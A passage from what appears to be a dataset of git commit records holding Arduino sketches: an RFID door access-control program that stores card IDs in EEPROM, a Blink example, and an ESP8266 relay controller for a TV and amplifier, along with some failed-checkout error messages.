-----------------------------------------------------------------------------------------\n * RST\/Reset RST 9 5 D9 RESET\/ICSP-5 RST\n * SPI SS SDA(SS) 10 53 D10 10 10\n * SPI MOSI MOSI 11 \/ ICSP-4 51 D11 ICSP-4 16\n * SPI MISO MISO 12 \/ ICSP-1 50 D12 ICSP-1 14\n * SPI SCK SCK 13 \/ ICSP-3 52 D13 ICSP-3 15\n *\/\n\n#include <EEPROM.h> \/\/ We are going to read and write PICC's UIDs from\/to EEPROM\n#include <SPI.h> \/\/ RC522 Module uses SPI protocol\n#include <MFRC522.h>\t\/\/ Library for Mifare RC522 Devices\n\n\/*\n\tInstead of a Relay you may want to use a servo. Servos can lock and unlock door locks too\n\tRelay will be used by default\n*\/\n\n\/\/ #include <Servo.h> \n\n\/*\n\tFor visualizing whats going on hardware\twe need some leds and to control door lock a relay and a wipe button\n\t(or some other hardware) Used common anode led,digitalWriting HIGH turns OFF led Mind that if you are going \n\tto use common cathode led or just seperate leds, simply comment out #define COMMON_ANODE,\n*\/\n\n#define COMMON_ANODE\n\n#ifdef COMMON_ANODE\n#define LED_ON LOW\n#define LED_OFF HIGH\n#else\n#define LED_ON HIGH\n#define LED_OFF LOW\n#endif\n\n#define redLed 7\t\t\/\/ Set Led Pins\n#define greenLed 6\n#define blueLed 5\n\n#define relay 4\t\t\t\/\/ Set Relay Pin\n#define wipeB 3\t\t\t\/\/ Button pin for WipeMode\n\nboolean match = false; \/\/ initialize card match to false\nboolean programMode = false;\t\/\/ initialize programming mode to false\nboolean replaceMaster = false;\n\nint successRead;\t\t\/\/ Variable integer to keep if we have Successful Read from Reader\n\nbyte storedCard[4];\t\t\/\/ Stores an ID read from EEPROM\nbyte readCard[4];\t\t\/\/ Stores scanned ID read from RFID Module\nbyte masterCard[4];\t\t\/\/ Stores master card's ID read from EEPROM\n\n\/\/ Create MFRC522 instance.\n#define SS_PIN 10\n#define RST_PIN 9\nMFRC522 mfrc522(SS_PIN, RST_PIN);\t\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Setup \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n \/\/Arduino Pin Configuration\n pinMode(redLed, OUTPUT);\n pinMode(greenLed, OUTPUT);\n pinMode(blueLed, OUTPUT);\n pinMode(wipeB, INPUT_PULLUP);\t\t\/\/ Enable pin's pull up resistor\n pinMode(relay, OUTPUT);\n \/\/Be careful how relay circuit behave on while resetting or power-cycling your Arduino\n digitalWrite(relay, HIGH);\t\t\/\/ Make sure door is locked\n digitalWrite(redLed, LED_OFF);\t\/\/ Make sure led is off\n digitalWrite(greenLed, LED_OFF);\t\/\/ Make sure led is off\n digitalWrite(blueLed, LED_OFF);\t\/\/ Make sure led is off\n\n \/\/Protocol Configuration\n Serial.begin(9600);\t \/\/ Initialize serial communications with PC\n SPI.begin(); \/\/ MFRC522 Hardware uses SPI protocol\n mfrc522.PCD_Init(); \/\/ Initialize MFRC522 Hardware\n\n \/\/If you set Antenna Gain to Max it will increase reading distance\n \/\/mfrc522.PCD_SetAntennaGain(mfrc522.RxGain_max);\n\n Serial.println(F(\"Access Control Example v0.1\")); \/\/ For debugging purposes\n ShowReaderDetails();\t\/\/ Show details of PCD - MFRC522 Card Reader details\n\n \/\/Wipe Code - If the Button (wipeB) Pressed while setup run (powered on) it wipes EEPROM\n if (digitalRead(wipeB) == LOW) {\t\/\/ when button pressed pin should get low, button connected to ground\n digitalWrite(redLed, LED_ON);\t\/\/ Red Led stays on to inform user we are going to wipe\n Serial.println(F(\"Wipe Button Pressed\"));\n Serial.println(F(\"You have 15 seconds to Cancel\"));\n Serial.println(F(\"This will be remove all records and cannot be undone\"));\n delay(15000); \/\/ Give user enough time to cancel operation\n if (digitalRead(wipeB) == LOW) { \/\/ If button still be pressed, wipe EEPROM\n Serial.println(F(\"Starting Wiping EEPROM\"));\n for (int x = 0; x < EEPROM.length(); x = x + 1) { \/\/Loop end of EEPROM address\n if (EEPROM.read(x) == 0) { \/\/If EEPROM address 0\n \/\/ do nothing, already clear, go to the next address in order to save time and reduce writes to EEPROM\n }\n else {\n EEPROM.write(x, 0); \t\t\t\/\/ if not write 0 to clear, it takes 3.3mS\n }\n }\n Serial.println(F(\"EEPROM Successfully Wiped\"));\n digitalWrite(redLed, LED_OFF); \t\/\/ visualize a successful wipe\n delay(200);\n digitalWrite(redLed, LED_ON);\n delay(200);\n digitalWrite(redLed, LED_OFF);\n delay(200);\n digitalWrite(redLed, LED_ON);\n delay(200);\n digitalWrite(redLed, LED_OFF);\n }\n else {\n Serial.println(F(\"Wiping Cancelled\")); \/\/ Show some feedback that the wipe button did not pressed for 15 seconds\n digitalWrite(redLed, LED_OFF);\n }\n }\n \/\/ Check if master card defined, if not let user choose a master card\n \/\/ This also useful to just redefine the Master Card\n \/\/ You can keep other EEPROM records just write other than 143 to EEPROM address 1\n \/\/ EEPROM address 1 should hold magical number which is '143'\n if (EEPROM.read(1) != 143) {\n Serial.println(F(\"No Master Card Defined\"));\n Serial.println(F(\"Scan A PICC to Define as Master Card\"));\n do {\n successRead = getID(); \/\/ sets successRead to 1 when we get read from reader otherwise 0\n digitalWrite(blueLed, LED_ON); \/\/ Visualize Master Card need to be defined\n delay(200);\n digitalWrite(blueLed, LED_OFF);\n delay(200);\n }\n while (!successRead); \/\/ Program will not go further while you not get a successful read\n for ( int j = 0; j < 4; j++ ) { \/\/ Loop 4 times\n EEPROM.write( 2 + j, readCard[j] ); \/\/ Write scanned PICC's UID to EEPROM, start from address 3\n }\n EEPROM.write(1, 143); \/\/ Write to EEPROM we defined Master Card.\n Serial.println(F(\"Master Card Defined\"));\n }\n Serial.println(F(\"-------------------\"));\n Serial.println(F(\"Master Card's UID\"));\n for ( int i = 0; i < 4; i++ ) { \/\/ Read Master Card's UID from EEPROM\n masterCard[i] = EEPROM.read(2 + i); \/\/ Write it to masterCard\n Serial.print(masterCard[i], HEX);\n }\n Serial.println(\"\");\n Serial.println(F(\"-------------------\"));\n Serial.println(F(\"Everything Ready\"));\n Serial.println(F(\"Waiting PICCs to be scanned\"));\n cycleLeds(); \/\/ Everything ready lets give user some feedback by cycling leds\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Main Loop \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop () {\n do {\n successRead = getID(); \t\/\/ sets successRead to 1 when we get read from reader otherwise 0\n \/\/ When device is in use if wipe button pressed for 10 seconds initialize Master Card wiping \n if (digitalRead(wipeB) == LOW) { \/\/ Check if button is pressed\n \/\/ Visualize normal operation is iterrupted by pressing wipe button Red is like more Warning to user\n digitalWrite(redLed, LED_ON); \/\/ Make sure led is off\n digitalWrite(greenLed, LED_OFF); \/\/ Make sure led is off\n digitalWrite(blueLed, LED_OFF); \/\/ Make sure led is off\n \/\/ Give some feedback \n Serial.println(F(\"Wipe Button Pressed\"));\n Serial.println(F(\"Master Card will be Erased! in 10 seconds\"));\n delay(10000); \/\/ Wait 10 seconds to see user still wants to wipe\n if (digitalRead(wipeB) == LOW) {\n EEPROM.write(1, 0); \/\/ Reset Magic Number.\n Serial.println(F(\"Restart device to re-program Master Card\"));\n while (1);\n }\n }\n if (programMode) {\n cycleLeds(); \/\/ Program Mode cycles through Red Green Blue waiting to read a new card\n }\n else {\n normalModeOn(); \t\t\/\/ Normal mode, blue Power LED is on, all others are off\n }\n }\n while (!successRead); \t\/\/the program will not go further while you are not getting a successful read\n if (programMode) {\n if ( isMaster(readCard) ) { \/\/When in program mode check First If master card scanned again to exit program mode\n Serial.println(F(\"Master Card Scanned\"));\n Serial.println(F(\"Exiting Program Mode\"));\n Serial.println(F(\"-----------------------------\"));\n programMode = false;\n return;\n }\n else {\n if ( findID(readCard) ) { \/\/ If scanned card is known delete it\n Serial.println(F(\"I know this PICC, removing...\"));\n deleteID(readCard);\n Serial.println(\"-----------------------------\");\n Serial.println(F(\"Scan a PICC to ADD or REMOVE to EEPROM\"));\n }\n else { \/\/ If scanned card is not known add it\n Serial.println(F(\"I do not know this PICC, adding...\"));\n writeID(readCard);\n Serial.println(F(\"-----------------------------\"));\n Serial.println(F(\"Scan a PICC to ADD or REMOVE to EEPROM\"));\n }\n }\n }\n else {\n if ( isMaster(readCard)) { \t\/\/ If scanned card's ID matches Master Card's ID - enter program mode\n programMode = true;\n Serial.println(F(\"Hello Master - Entered Program Mode\"));\n int count = EEPROM.read(0); \t\/\/ Read the first Byte of EEPROM that\n Serial.print(F(\"I have \")); \t\/\/ stores the number of ID's in EEPROM\n Serial.print(count);\n Serial.print(F(\" record(s) on EEPROM\"));\n Serial.println(\"\");\n Serial.println(F(\"Scan a PICC to ADD or REMOVE to EEPROM\"));\n Serial.println(F(\"Scan Master Card again to Exit Program Mode\"));\n Serial.println(F(\"-----------------------------\"));\n }\n else {\n if ( findID(readCard) ) {\t\/\/ If not, see if the card is in the EEPROM\n Serial.println(F(\"Welcome, You shall pass\"));\n granted(300); \t\/\/ Open the door lock for 300 ms\n }\n else {\t\t\t\/\/ If not, show that the ID was not valid\n Serial.println(F(\"You shall not pass\"));\n denied();\n }\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Access Granted \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid granted (int setDelay) {\n digitalWrite(blueLed, LED_OFF); \t\/\/ Turn off blue LED\n digitalWrite(redLed, LED_OFF); \t\/\/ Turn off red LED\n digitalWrite(greenLed, LED_ON); \t\/\/ Turn on green LED\n digitalWrite(relay, LOW); \t\t\/\/ Unlock door!\n delay(setDelay); \t\t\t\t\t\/\/ Hold door lock open for given seconds\n digitalWrite(relay, HIGH); \t\t\/\/ Relock door\n delay(1000); \t\t\t\t\t\t\/\/ Hold green LED on for a second\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Access Denied \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid denied() {\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n digitalWrite(redLed, LED_ON); \t\/\/ Turn on red LED\n delay(1000);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Get PICC's UID \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint getID() {\n \/\/ Getting ready for Reading PICCs\n if ( ! mfrc522.PICC_IsNewCardPresent()) { \/\/If a new PICC placed to RFID reader continue\n return 0;\n }\n if ( ! mfrc522.PICC_ReadCardSerial()) { \/\/Since a PICC placed get Serial and continue\n return 0;\n }\n \/\/ There are Mifare PICCs which have 4 byte or 7 byte UID care if you use 7 byte PICC\n \/\/ I think we should assume every PICC as they have 4 byte UID\n \/\/ Until we support 7 byte PICCs\n Serial.println(F(\"Scanned PICC's UID:\"));\n for (int i = 0; i < 4; i++) { \/\/\n readCard[i] = mfrc522.uid.uidByte[i];\n Serial.print(readCard[i], HEX);\n }\n Serial.println(\"\");\n mfrc522.PICC_HaltA(); \/\/ Stop reading\n return 1;\n}\n\nvoid ShowReaderDetails() {\n \/\/ Get the MFRC522 software version\n byte v = mfrc522.PCD_ReadRegister(mfrc522.VersionReg);\n Serial.print(F(\"MFRC522 Software Version: 0x\"));\n Serial.print(v, HEX);\n if (v == 0x91)\n Serial.print(F(\" = v1.0\"));\n else if (v == 0x92)\n Serial.print(F(\" = v2.0\"));\n else\n Serial.print(F(\" (unknown),probably a chinese clone?\"));\n Serial.println(\"\");\n \/\/ When 0x00 or 0xFF is returned, communication probably failed\n if ((v == 0x00) || (v == 0xFF)) {\n Serial.println(F(\"WARNING: Communication failure, is the MFRC522 properly connected?\"));\n Serial.println(F(\"SYSTEM HALTED: Check connections.\"));\n \/\/ Visualize system is halted\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n digitalWrite(redLed, LED_ON); \t\/\/ Turn on red LED\n while (true); \/\/ do not go further\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Cycle Leds (Program Mode) \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid cycleLeds() {\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n digitalWrite(greenLed, LED_ON); \t\/\/ Make sure green LED is on\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n delay(200);\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n digitalWrite(blueLed, LED_ON); \t\/\/ Make sure blue LED is on\n delay(200);\n digitalWrite(redLed, LED_ON); \t\/\/ Make sure red LED is on\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n delay(200);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Normal Mode Led \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid normalModeOn () {\n digitalWrite(blueLed, LED_ON); \t\/\/ Blue LED ON and ready to read card\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure Red LED is off\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure Green LED is off\n digitalWrite(relay, HIGH); \t\t\/\/ Make sure Door is Locked\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Read an ID from EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid readID( int number ) {\n int start = (number * 4 ) + 2; \t\t\/\/ Figure out starting position\n for ( int i = 0; i < 4; i++ ) { \t\t\/\/ Loop 4 times to get the 4 Bytes\n storedCard[i] = EEPROM.read(start + i); \t\/\/ Assign values read from EEPROM to array\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Add ID to EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid writeID( byte a[] ) {\n if ( !findID( a ) ) { \t\t\/\/ Before we write to the EEPROM, check to see if we have seen this card before!\n int num = EEPROM.read(0); \t\t\/\/ Get the numer of used spaces, position 0 stores the number of ID cards\n int start = ( num * 4 ) + 6; \t\/\/ Figure out where the next slot starts\n num++; \t\t\t\t\t\t\t\t\/\/ Increment the counter by one\n EEPROM.write( 0, num ); \t\t\/\/ Write the new count to the counter\n for ( int j = 0; j < 4; j++ ) { \t\/\/ Loop 4 times\n EEPROM.write( start + j, a[j] ); \t\/\/ Write the array values to EEPROM in the right position\n }\n successWrite();\n Serial.println(F(\"Succesfully added ID record to EEPROM\"));\n }\n else {\n failedWrite();\n Serial.println(F(\"Failed! There is something wrong with ID or bad EEPROM\"));\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Remove ID from EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid deleteID( byte a[] ) {\n if ( !findID( a ) ) { \t\t\/\/ Before we delete from the EEPROM, check to see if we have this card!\n failedWrite(); \t\t\t\/\/ If not\n Serial.println(F(\"Failed! There is something wrong with ID or bad EEPROM\"));\n }\n else {\n int num = EEPROM.read(0); \t\/\/ Get the numer of used spaces, position 0 stores the number of ID cards\n int slot; \t\t\t\/\/ Figure out the slot number of the card\n int start;\t\t\t\/\/ = ( num * 4 ) + 6; \/\/ Figure out where the next slot starts\n int looping; \t\t\/\/ The number of times the loop repeats\n int j;\n int count = EEPROM.read(0); \/\/ Read the first Byte of EEPROM that stores number of cards\n slot = findIDSLOT( a ); \t\/\/ Figure out the slot number of the card to delete\n start = (slot * 4) + 2;\n looping = ((num - slot) * 4);\n num--; \t\t\t\/\/ Decrement the counter by one\n EEPROM.write( 0, num ); \t\/\/ Write the new count to the counter\n for ( j = 0; j < looping; j++ ) { \t\t\t\t\/\/ Loop the card shift times\n EEPROM.write( start + j, EEPROM.read(start + 4 + j)); \t\/\/ Shift the array values to 4 places earlier in the EEPROM\n }\n for ( int k = 0; k < 4; k++ ) { \t\t\t\t\/\/ Shifting loop\n EEPROM.write( start + j + k, 0);\n }\n successDelete();\n Serial.println(F(\"Succesfully removed ID record from EEPROM\"));\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Check Bytes \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nboolean checkTwo ( byte a[], byte b[] ) {\n if ( a[0] != NULL ) \t\t\t\/\/ Make sure there is something in the array first\n match = true; \t\t\t\/\/ Assume they match at first\n for ( int k = 0; k < 4; k++ ) { \t\/\/ Loop 4 times\n if ( a[k] != b[k] ) \t\t\/\/ IF a != b then set match = false, one fails, all fail\n match = false;\n }\n if ( match ) { \t\t\t\/\/ Check to see if if match is still true\n return true; \t\t\t\/\/ Return true\n }\n else {\n return false; \t\t\t\/\/ Return false\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Find Slot \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint findIDSLOT( byte find[] ) {\n int count = EEPROM.read(0); \t\t\t\/\/ Read the first Byte of EEPROM that\n for ( int i = 1; i <= count; i++ ) { \t\t\/\/ Loop once for each EEPROM entry\n readID(i); \t\t\t\t\t\t\t\t\/\/ Read an ID from EEPROM, it is stored in storedCard[4]\n if ( checkTwo( find, storedCard ) ) { \t\/\/ Check to see if the storedCard read from EEPROM\n \/\/ is the same as the find[] ID card passed\n return i; \t\t\t\t\/\/ The slot number of the card\n break; \t\t\t\t\t\/\/ Stop looking we found it\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Find ID From EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nboolean findID( byte find[] ) {\n int count = EEPROM.read(0);\t\t\t\/\/ Read the first Byte of EEPROM that\n for ( int i = 1; i <= count; i++ ) { \t\/\/ Loop once for each EEPROM entry\n readID(i); \t\t\t\t\t\/\/ Read an ID from EEPROM, it is stored in storedCard[4]\n if ( checkTwo( find, storedCard ) ) { \t\/\/ Check to see if the storedCard read from EEPROM\n return true;\n break; \t\/\/ Stop looking we found it\n }\n else { \t\/\/ If not, return false\n }\n }\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Write Success to EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Flashes the green LED 3 times to indicate a successful write to EEPROM\nvoid successWrite() {\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is on\n delay(200);\n digitalWrite(greenLed, LED_ON); \t\/\/ Make sure green LED is on\n delay(200);\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n delay(200);\n digitalWrite(greenLed, LED_ON); \t\/\/ Make sure green LED is on\n delay(200);\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n delay(200);\n digitalWrite(greenLed, LED_ON); \t\/\/ Make sure green LED is on\n delay(200);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Write Failed to EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Flashes the red LED 3 times to indicate a failed write to EEPROM\nvoid failedWrite() {\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n delay(200);\n digitalWrite(redLed, LED_ON); \t\/\/ Make sure red LED is on\n delay(200);\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n delay(200);\n digitalWrite(redLed, LED_ON); \t\/\/ Make sure red LED is on\n delay(200);\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n delay(200);\n digitalWrite(redLed, LED_ON); \t\/\/ Make sure red LED is on\n delay(200);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Success Remove UID From EEPROM \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Flashes the blue LED 3 times to indicate a success delete to EEPROM\nvoid successDelete() {\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n digitalWrite(redLed, LED_OFF); \t\/\/ Make sure red LED is off\n digitalWrite(greenLed, LED_OFF); \t\/\/ Make sure green LED is off\n delay(200);\n digitalWrite(blueLed, LED_ON); \t\/\/ Make sure blue LED is on\n delay(200);\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n delay(200);\n digitalWrite(blueLed, LED_ON); \t\/\/ Make sure blue LED is on\n delay(200);\n digitalWrite(blueLed, LED_OFF); \t\/\/ Make sure blue LED is off\n delay(200);\n digitalWrite(blueLed, LED_ON); \t\/\/ Make sure blue LED is on\n delay(200);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Check readCard IF is masterCard \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Check to see if the ID passed is the master programing card\nboolean isMaster( byte test[] ) {\n if ( checkTwo( test, masterCard ) )\n return true;\n else\n return false;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AccessControl\/AccessControl.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"95bd36fcc5e1aba9c90b176a8fc057febbc25c8d","subject":"add arduino start","message":"add arduino start\n\nJust adding an initial start to the code (assuming we are going to start\nwith arduino)\n","repos":"colonelCasey94\/SeniorDesign2015-16,colonelCasey94\/SeniorDesign2015-16,colonelCasey94\/SeniorDesign2015-16,colonelCasey94\/SeniorDesign2015-16","old_file":"Code\/main\/main.ino","new_file":"Code\/main\/main.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Code\/main\/main.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5c736d764eb290b69970955205d28ce71a51f207","subject":"Add missing #includessome spelling corrections in comments","message":"Add missing #includessome spelling corrections in comments","repos":"cvonk\/Arduino-JSONP,cvonk\/Arduino-JSONP","old_file":"Arduino-JSONP.ino","new_file":"Arduino-JSONP.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cvonk\/Arduino-JSONP.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"52d669d59fd19616666f04b89c81b62465f77ad1","subject":"fixed controller arduino script","message":"fixed controller arduino script\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/controller\/src\/src.ino","new_file":"nduino\/controller\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"301d4077a3a55d62ae4fe8a7070188d4ba10dde7","subject":"Initial push of TV Control sketch. Simple periodic check of BOX pin, out of peritel pin 18, to toggle on and off the 2 relays for amplifier and TV","message":"Initial push of TV Control sketch. Simple periodic check of BOX pin, out of peritel pin 18, to toggle on and off the 2 relays for amplifier and TV\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/TVControl\/TVControl.ino","new_file":"examples\/TVControl\/TVControl.ino","new_contents":"#include <ESP8266WiFi.h>\n\nconst char* ssid = \"ESP8266\";\nconst char* password = \"audiowifi\";\n\n#define BOX_STATUS_PIN D2\n#define AMPLIFIER_RELAY_PIN D3\n#define TV_RELAY_PIN D4\n#define DELAY_BETWEEN_TOGGLE 10000\n#define DELAY_BETWEEN_BOX_CHECK 10\n \n#define BOX_OFF 1\n#define BOX_ON 2\n\nint boxStatus = BOX_OFF;\nunsigned long lastSwitch = 0;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(BOX_STATUS_PIN, INPUT);\n pinMode(AMPLIFIER_RELAY_PIN, OUTPUT);\n digitalWrite(AMPLIFIER_RELAY_PIN, LOW);\n pinMode(TV_RELAY_PIN, OUTPUT);\n digitalWrite(TV_RELAY_PIN, LOW); \n \n delay(10);\n}\n\nbool checkToggleTooFast(){\n Serial.print(\"now :\");\n Serial.println(millis());\n Serial.print(\"last :\");\n Serial.println(lastSwitch); \n if(millis() - lastSwitch < DELAY_BETWEEN_TOGGLE)\n return true;\n else\n return false;\n \n}\nvoid switchAllOn(){\n if(checkToggleTooFast()){\n Serial.println(\"Skipping switch because toggling too fast\");\n return;\n }\n \n Serial.println(\"Switching all ON\");\n digitalWrite(AMPLIFIER_RELAY_PIN, HIGH);\n digitalWrite(TV_RELAY_PIN, HIGH); \n boxStatus = BOX_ON;\n lastSwitch = millis();\n\n}\nvoid switchAllOff(){\n if(checkToggleTooFast()){\n Serial.println(\"Skipping switch because toggling too fast\");\n return;\n }\n Serial.println(\"Switching all OFF\");\n digitalWrite(AMPLIFIER_RELAY_PIN, LOW);\n digitalWrite(TV_RELAY_PIN, LOW); \n boxStatus = BOX_OFF;\n lastSwitch = millis();\n}\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n int boxStatusPin = digitalRead(BOX_STATUS_PIN);\n\n if((boxStatusPin == 1) and (boxStatus == BOX_OFF)){\n switchAllOn();\n }\n if((boxStatusPin == 0) and (boxStatus == BOX_ON)){\n switchAllOff();\n }\n \n \n delay(DELAY_BETWEEN_BOX_CHECK);\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TVControl\/TVControl.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} 